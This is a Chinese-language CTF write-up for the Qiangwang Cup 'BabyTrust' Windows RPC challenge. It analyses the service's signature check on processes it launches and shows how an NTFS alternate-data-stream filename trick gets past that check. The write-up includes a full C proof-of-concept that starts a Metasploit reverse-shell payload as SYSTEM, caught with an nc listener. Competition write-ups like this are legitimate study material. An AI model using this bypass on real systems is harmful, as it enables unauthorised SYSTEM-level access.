前两天强网杯 Final RealWorld 有一个 Windows RPC 本地提权的题目,比赛结束后找朋友要了附件简单复现了一下。不过这个题当时好像还有不少非预期,还有的师傅说看我 “Creating Windows Access Tokens With God Privilege” 这篇博客解出来了,但我确实没发现这道题跟 God Privilege 有什么联系。
Introduction
BabyTrust
We surely don’t trust anonymous nowadays, we only trust ourselves.
题目中给出了一台 Windows Server 2022 虚拟机和两个附件(server.exe 和 hello.exe)。server.exe 在虚拟机上注册了一个 RPC 服务并以服务的形式自动运行。选手需要对目标 RPC 服务进行漏洞利用,并最终获取操作系统的 SYSTEM 权限。
Details
hello.exe
Hello.exe 里面只有一个控制台输出,目前还不知道有什么用,但是后面确实会用到。
server.exe
main
我们首先来看到 server.exe 的 main 函数,其中通过 RpcServerUseProtseqEpW 和 RpcServerRegisterIf2 函数注册了一个 RPC:
注册的 RPC 的协议序列为 ncalrpc,端点为 qwb,我们先将它记录下来,因为后面要用到。
sub_140001590
sub_140001590 函数为 RPC 函数:
在 sub_140001590 中,调用了 NtCreateUserProcess 函数创建进程。该函数是 Windows 操作系统中的一个内部系统调用,是 Native API 的一部分,是 Windows 内核中较低级别的功能,通常不会被普通应用程序直接使用。
One of the documented Windows APIs for creating processes is
CreateProcess()
. Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call toCreateProcessInternal()
, which is responsible for actually creating the user-mode process.CreateProcessInternal()
then calls the undocumented and native APINtCreateUserProcess()
(located inntdll.dll
) to shift to kernel-mode.
我们来看一下 NtCreateUserProcess 的原型:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
NTSTATUS
NTAPI
NtCreateUserProcess(
_Out_ PHANDLE ProcessHandle,
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK ProcessDesiredAccess,
_In_ ACCESS_MASK ThreadDesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
_In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
_In_ ULONG ProcessFlags,
_In_ ULONG ThreadFlags,
_In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
_Inout_ PPS_CREATE_INFO CreateInfo,
_In_ PPS_ATTRIBUTE_LIST AttributeList
);
可以看到,该函数不接受任何包含要创建的进程的路径的参数,这就是 ProcessParameters
参数发挥作用的地方。该参数是一个指向 RTL_USER_PROCESS_PARAMETERS
结构体的指针。该结构体描述了要创建的进程的启动参数,而构建则该结构则需要依靠另一个 API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
NTSTATUS
NTAPI
RtlCreateProcessParametersEx(
_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
_In_ PUNICODE_STRING ImagePathName,
_In_opt_ PUNICODE_STRING DllPath,
_In_opt_ PUNICODE_STRING CurrentDirectory,
_In_opt_ PUNICODE_STRING CommandLine,
_In_opt_ PVOID Environment,
_In_opt_ PUNICODE_STRING WindowTitle,
_In_opt_ PUNICODE_STRING DesktopInfo,
_In_opt_ PUNICODE_STRING ShellInfo,
_In_opt_ PUNICODE_STRING RuntimeData,
_In_ ULONG Flags // Pass RTL_USER_PROCESS_PARAMETERS_NORMALIZED to keep parameters normalized
);
其中,pProcessParameters
参数指向的是 RTL_USER_PROCESS_PARAMETERS
结构, ImagePathName
是启动进程的路径。
在 sub_140001590 函数中,ImagePathName
参数由 sub_140001590 的第二个参数传入 RtlCreateProcessParametersEx
,并最终通过 RTL_USER_PROCESS_PARAMETERS
传入 NtCreateUserProcess 函数。因此 NtCreateUserProcess 函数参数启动的进程是可控的。
需要注意的是,NtCreateUserProcess 函数创建进程之后,主线程将挂起,并通过 sub_1400013E0 函数对新创建的进程的主模块的文件名进行检查。只有检查通过后,主线程才会被恢复,否则将终止新创建的线程和进程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
K32GetModuleFileNameExW(hProcess, 0i64, Filename, 0x104u);
if ( (unsigned int)sub_1400013E0(Filename) )
{
printf("%ls is verified!\n", Filename);
ResumeThread(hThread);
return 0i64;
}
else
{
printf("%ls is NOT verified!\n", Filename);
TerminateThread(hThread, 0);
TerminateProcess(hProcess, 0);
return 1i64;
}
sub_1400013E0
跟进 sub_1400013E0
函数,其调用了 WinVerifyTrust()
对获取到的文件名称进行签名验证,如果 WinVerifyTrust()
验证成功,并且继续调用 sub_140001000
函数:
可以看到,该函数通过 CertGetNameStringW()
获取签名颁发者名称,并判断颁发者是否为 ”Nonick“,如果是,则最终通过检查。
回顾题目给出的附件,其中 hello.exe 的签名者正好是 ”Nonick“,这肯定在可以绕过签名验证时发挥作用:
Step to Exploit
我在进行复现时,滥用了 Windows 的 NTFS ADS(Alternate Data Stream),具体原理可以参考 ”Pentester’S Windows NTFS Tricks Collection“ 这篇文章中 ”Trick 6: Hiding The Process Binary“ 部分的描述。
在漏洞利用之前,我们需要先生成以下两个文件:
- shell:直接从 hello.exe 拷贝,使其具备 ”Nonick“ 的签名。
- shell. .:MetaSploit 生成的载荷,将在本地 2333 端口反弹 Shell。
如果将 ”shell. .“ 传入 sub_140001590 函数,则经过 RtlCreateProcessParametersEx
标准化后,进入 sub_1400013E0
进行签名校验的文件名为 ”shell“,而该文件的签名可信,因此将通过检查。
此外,在调用 NtCreateUserProcess
函数之前,却将标准化之前的文件名 ”shell. .“ 推入了进程堆,所以最终恢复主线程时,执行的是 ”shell. .“ 这个文件。
因此,该漏洞利用步骤如下:
- 创建 shell 文件,可以直接从 hello.exe 拷贝,使其具备 ”Nonick“ 的签名。
- 创建 shell.exe,这是 MetaSploit 生成的载荷,执行后将在本地 2333 端口反弹 Shell。
- 滥用 NTFS ADS,将 shell.exe 重命名为 ”shell. .“,并与 shell 置于同一个目录中。
- 启动 nc.exe 监听本地 2333 端口。
- 调用 RPC 函数
sub_140001590
触发NtCreateUserProcess
启动 ”shell. .“ 进程。 - 本地 2333 端口将获取到 SYSTEM 权限的 CMD。
最简单的 PoC 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include "rpc_h.h"
#pragma comment(lib, "RpcRT4.lib")
int wmain(int argc, wchar_t* argv[])
{
RPC_STATUS RpcStatus;
RPC_WSTR StringBinding;
RPC_BINDING_HANDLE hBinding;
wprintf(L"[*] Copy hello.exe to C:\\Windows\\Temp\\shell\n");
CopyFileW(L".\\hello.exe", L"C:\\Windows\\Temp\\shell", 0);
wprintf(L"[*] Copy shell.exe to C:\\Windows\\Temp\\shell. .\n");
CopyFileW(L".\\shell.exe", L"C:\\Windows\\Temp\\shell. .::$DATA", 0);
RpcStatus = RpcStringBindingComposeW(
NULL,
(RPC_WSTR)L"ncalrpc",
(RPC_WSTR)L"",
(RPC_WSTR)L"qwb",
NULL,
&StringBinding
);
if (RpcStatus != RPC_S_OK) {
wprintf(L"[-] RpcStringBindingComposeW() Error: [%u]\n", GetLastError());
return 0;
}
RpcStatus = RpcBindingFromStringBindingW(
StringBinding,
&hBinding
);
if (RpcStatus != RPC_S_OK) {
wprintf(L"[-] RpcBindingFromStringBindingW() Error: [%u]\n", GetLastError());
return 0;
}
RpcStatus = RpcStringFree(
&StringBinding
);
if (RpcStatus != RPC_S_OK) {
wprintf(L"[-] RpcStringFreeW() Error: [%u]\n", GetLastError());
return 0;
}
RpcTryExcept
{
BSTR bShellPath = SysAllocString(L"\\??\\C:\\Windows\\Temp\\shell. .");
Rpc_GetSystem(hBinding, &bShellPath);
wprintf(L"[*] NtCreateUserProcess Triggered!");
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
wprintf(L"[-] Error: %d\r\n", RpcExceptionCode());
}
RpcEndExcept
{
RpcBindingFree(&hBinding);
}
}
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
Let’s see it in action
漏洞利用结果如下: